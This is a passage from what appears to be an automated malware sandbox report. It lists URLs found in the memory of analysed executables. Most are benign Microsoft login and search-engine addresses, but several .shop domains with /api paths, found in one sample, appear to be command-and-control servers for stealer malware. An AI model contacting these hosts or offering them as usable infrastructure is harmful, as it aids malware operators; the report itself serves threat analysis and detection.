                          Source: E5F3.exe, 0000001E.00000003.2993527305.0000000002D9A000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3086793780.000000000383E000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2993527305.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003C2B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003BDA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                          Source: 84F5.exe, 0000001D.00000003.2715865211.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2715477905.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://claimconcessionrebe.shop/
                          Source: 84F5.exe, 0000001D.00000003.2715865211.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2715477905.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://claimconcessionrebe.shop/:
                          Source: 84F5.exe, 0000001D.00000003.2715477905.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://claimconcessionrebe.shop/api
                          Source: BA7B.exe, 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, BA7B.exe, 00000025.00000002.2873232255.000000000809B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2938652778.0000000003FBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://dc.services.visualstudio.com/v2/track
                          Source: E5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://discord.com/api/v9/users/
                          Source: E5F3.exe, 0000001E.00000003.2993527305.0000000002D9A000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3086793780.000000000383E000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2993527305.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003C2B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003BDA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                          Source: E5F3.exe, 0000001E.00000003.2993527305.0000000002D9A000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3086793780.000000000383E000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003BDA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                          Source: E5F3.exe, 0000001E.00000003.2989615441.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2993527305.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003C2B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtabS
                          Source: E5F3.exe, 0000001E.00000003.2993527305.0000000002D9A000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3086793780.000000000383E000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2993527305.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003C2B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003BDA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009B41000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://excel.office.com
                          Source: svchost.exe, 00000026.00000003.2800690094.000002A52D793000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.38.drString found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
                          Source: svchost.exe, 00000026.00000003.2800690094.000002A52D720000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.38.drString found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
                          Source: 84F5.exe, 0000001D.00000003.2693720803.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2693896756.000000000199D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gemcreedarticulateod.shop/
                          Source: 84F5.exe, 0000001D.00000003.2693720803.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gemcreedarticulateod.shop/9
                          Source: 84F5.exe, 0000001D.00000003.2693896756.000000000199D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gemcreedarticulateod.shop/api
                          Source: 84F5.exe, 0000001D.00000003.2693720803.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2693896756.000000000199D000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2715865211.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2715477905.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2704687266.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gemcreedarticulateod.shop/apiH7)Q
                          Source: 84F5.exe, 0000001D.00000003.2693720803.0000000001968000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gemcreedarticulateod.shop:443/api
                          Source: 3EE1.exe, 00000024.00000002.3146427201.0000000004EB0000.00000004.08000000.00040000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3122886847.00000000036F3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-net
                          Source: 3EE1.exe, 00000024.00000002.3146427201.0000000004EB0000.00000004.08000000.00040000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3122886847.00000000036F3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-netJ
                          Source: 3EE1.exe, 00000024.00000002.3146427201.0000000004EB0000.00000004.08000000.00040000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3122886847.00000000036F3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mgravell/protobuf-neti
                          Source: 84F5.exe, 0000001D.00000002.2768819569.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723340396.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2733262118.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723009346.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://liabilityarrangemenyit.shop/
                          Source: 84F5.exe, 0000001D.00000003.2733262118.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://liabilityarrangemenyit.shop/;
                          Source: 84F5.exe, 0000001D.00000003.2733262118.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723009346.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://liabilityarrangemenyit.shop/api
                          Source: 84F5.exe, 0000001D.00000003.2723340396.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723009346.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://liabilityarrangemenyit.shop/apiH7)Q
                          Source: 84F5.exe, 0000001D.00000002.2768819569.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2733262118.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://liabilityarrangemenyit.shop/apii7
                          Source: 84F5.exe, 0000001D.00000003.2723340396.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2733262118.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723009346.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://liabilityarrangemenyit.shop/apiw
                          Source: 84F5.exe, 0000001D.00000003.2723340396.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723009346.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://liabilityarrangemenyit.shop/apizV
                          Source: svchost.exe, 00000009.00000002.4437394022.0000018DC78CC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://logilive.com/ppsecure/InlineClient
                          Source: svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ApproveSession.srf
                          Source: svchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ApproveSession.srfrf
                          Source: svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&amp;id=80502
                          Source: svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311411654.0000018DC8156000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&amp;id=80600
                          Source: svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311411654.0000018DC8156000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&amp;id=80601
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311032904.0000018DC816B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
                          Source: svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502logi
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311032904.0000018DC816B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
                          Source: svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600psec
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC812C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311032904.0000018DC816B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
                          Source: svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601ive.
                          Source: svchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ListSessions.srf
                          Source: svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageAp
                          Source: svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageApcfg:
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageApprover.srf
                          Source: svchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageApprover.srf53457
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageLoginKeys.srf
                          Source: svchost.exe, 00000009.00000003.2310513329.0000018DC784E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/RST2.srf
                          Source: svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/RST2.srfUP.C
                          Source: svchost.exe, 00000009.00000003.2310513329.0000018DC784E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/didtou.srf
                          Source: svchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/getrealminfo.srf
                          Source: svchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/getuserrealm.srf
                          Source: svchost.exe, 00000009.00000003.2310513329.0000018DC784E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311032904.0000018DC816B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310558025.0000018DC8110000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
                          Source: svchost.exe, 00000009.00000003.2310513329.0000018DC784E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311032904.0000018DC816B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
                          Source: svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf0
                          Source: svchost.exe, 00000009.00000003.2311096718.0000018DC8127000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srff
                          Source: svchost.exe, 00000009.00000003.2310513329.0000018DC784E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
                          Source: svchost.exe, 00000009.00000003.2310513329.0000018DC784E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311032904.0000018DC816B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
                          Source: svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srfD
                          Source: svchost.exe, 00000009.00000003.2310513329.0000018DC784E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311032904.0000018DC816B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
                          Source: svchost.exe, 00000009.00000003.2311096718.0000018DC8127000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfX
                          Source: svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfg:URL_A
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
                          Source: svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311032904.0000018DC816B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
                          Source: svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srfcfg:GetAp
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC812C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311032904.0000018DC816B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
                          Source: svchost.exe, 00000009.00000003.2415952037.0000018DC815A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=-DmlGbXhLTfgawBDEluEwM7aEAcy4m9UY9PMRQqho
                          Source: svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srfConnect
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311411654.0000018DC8156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4436300281.0000018DC789F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311032904.0000018DC816B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
                          Source: svchost.exe, 00000009.00000003.2757569541.0000018DC816D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4439435141.0000018DC816E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf0
                          Source: svchost.exe, 00000009.00000003.2310432414.0000018DC812C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
                          Source: svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfvice
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
                          Source: svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2311411654.0000018DC8156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
                          Source: svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310933432.0000018DC8157000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
                          Source: svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&amp;fid=cp
                          Source: svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310589638.0000018DC815A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC812C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
                          Source: svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
